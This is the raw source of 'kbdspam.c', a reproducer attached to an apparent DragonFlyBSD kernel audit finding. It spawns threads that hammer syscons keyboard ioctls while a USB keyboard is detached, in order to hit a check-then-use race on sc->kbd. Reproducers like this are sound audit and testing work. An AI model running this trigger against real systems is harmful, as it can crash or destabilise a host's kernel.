⬢ DragonFlyBSD Kernel Audit
DF-5324 / kbdspam.c
← back to finding ↓ download raw
/* kbdspam.c - race harness for ukbd detach vs syscons sc->kbd check-then-use.
 * Spams syscons ioctls that dispatch through kbd_ioctl(sc->kbd, ...)
 * (syscons.c KDSETREPEAT path) while the USB keyboard is unplugged.
 * The window: syscons.c sc->kbd read -> kbdsw.c KBD_LOCK(kbd) lockmgr.
 */
#include <sys/ioctl.h>
#include <sys/kbio.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>

static volatile int stop = 0;

static void *
spam(void *arg)
{
	int fd = -1;
	const char *dev = (const char *)arg;
	int delay[2] = { 500, 125 };
	int mode = K_XLATE;
	int leds = 0;

	fd = open(dev, O_RDWR);
	if (fd < 0) {
		perror(dev);
		return (NULL);
	}
	while (!stop) {
		ioctl(fd, KDSETREPEAT, delay);	/* syscons -> kbd_ioctl(sc->kbd,..) */
		ioctl(fd, KDSKBMODE, &mode);	/* ditto, via update_kbd_state */
		ioctl(fd, KDSETLED, &leds);	/* LED xfer churn */
	}
	close(fd);
	return (NULL);
}

int
main(int argc, char **argv)
{
	int i, n = argc > 1 ? atoi(argv[1]) : 6;
	pthread_t th[16];
	const char *devs[2] = { "/dev/consolectl", "/dev/ttyv0" };

	for (i = 0; i < n; i++) {
		pthread_create(&th[i], NULL, spam,
		    (void *)(i % 2 ? devs[1] : devs[0]));
	}
	pause();	/* run until killed */
	return (0);
}